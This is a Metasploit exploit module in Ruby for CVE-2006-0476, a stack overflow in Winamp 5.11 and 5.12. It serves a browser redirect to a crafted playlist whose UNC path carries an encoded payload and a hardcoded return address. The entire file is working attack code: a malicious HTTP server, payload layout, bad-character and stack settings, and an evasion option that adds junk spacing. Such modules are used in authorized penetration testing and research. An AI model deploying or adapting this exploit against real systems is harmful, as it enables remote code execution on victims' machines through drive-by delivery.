##
# $Id: winamp_playlist_unc.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Winamp Playlist UNC Path Computer Name Overflow',
'Description' => %q{
This module exploits a vulnerability in the Winamp media player.
This flaw is triggered when a audio file path is specified, inside a
playlist, that consists of a UNC path with a long computer name. This
module delivers the playlist via the browser. This module has only
been successfully tested on Winamp 5.11 and 5.12.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'Faithless <rhyskidd [at] gmail.com>'
],
'Version' => '$Revision: 9179 $',
'References' =>
[
['CVE', '2006-0476'],
['OSVDB', '22789'],
['BID', '16410'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 526,
'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
'Compat' =>
{
'ConnectionType' => '-find',
},
# Landing on \x5c\x5c trashes esp, restore from ecx
'PrependEncoder' => "\x87\xe1",
'StackAdjustment' => -3500,
# Dont need them, dont want them, preserve esi
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
# Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00
[ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],
],
'DisclosureDate' => 'Jan 29 2006',
'DefaultTarget' => 0))
register_evasion_options(
[
OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false'])
])
end
def on_request_uri(cli, request)
if (not request.uri.match(/\.pls$/i))
if ("/" == get_resource[-1,1])
pls_uri = get_resource[0, get_resource.length - 1]
else
pls_uri = get_resource
end
pls_uri << "/" + rand_text_alphanumeric(rand(80)+16) + ".pls"
html =
"<html><body>"+
"<script>" +
"document.location='#{pls_uri}'</script>" +
"One second please...</body></html>"
send_response_html(cli, html)
return
end
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })
# Handle the payload
handler(cli)
end
def generate_playlist(payload)
pcnt = rand(10)+10;
file = rand_text_english(1026)
file[1022 , 4] = [target.ret].pack('V')
file[0, payload.encoded.length] = payload.encoded
play =
"[playlist]\r\n" +
generate_songs(pcnt) +
generate_song(pcnt + 1, "\\\\#{file}") +
generate_line('NumberOfEntries', "#{pcnt+1}") +
generate_line('Version', '2')
return play
end
def generate_space
if datastore['PlaylistSpaceInjection'] == true
return rand_text(rand(100)+1, nil, " \t")
else
return ''
end
end
def generate_song(id, file)
return generate_line("File#{id}", file) +
generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +
generate_line("Length#{id}", "%x" % (rand(1024) + 30))
end
def generate_line(key, value)
return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"
end
def generate_songs(cnt)
songs = ''
1.upto(cnt) do |i|
songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))
end
return songs
end
end
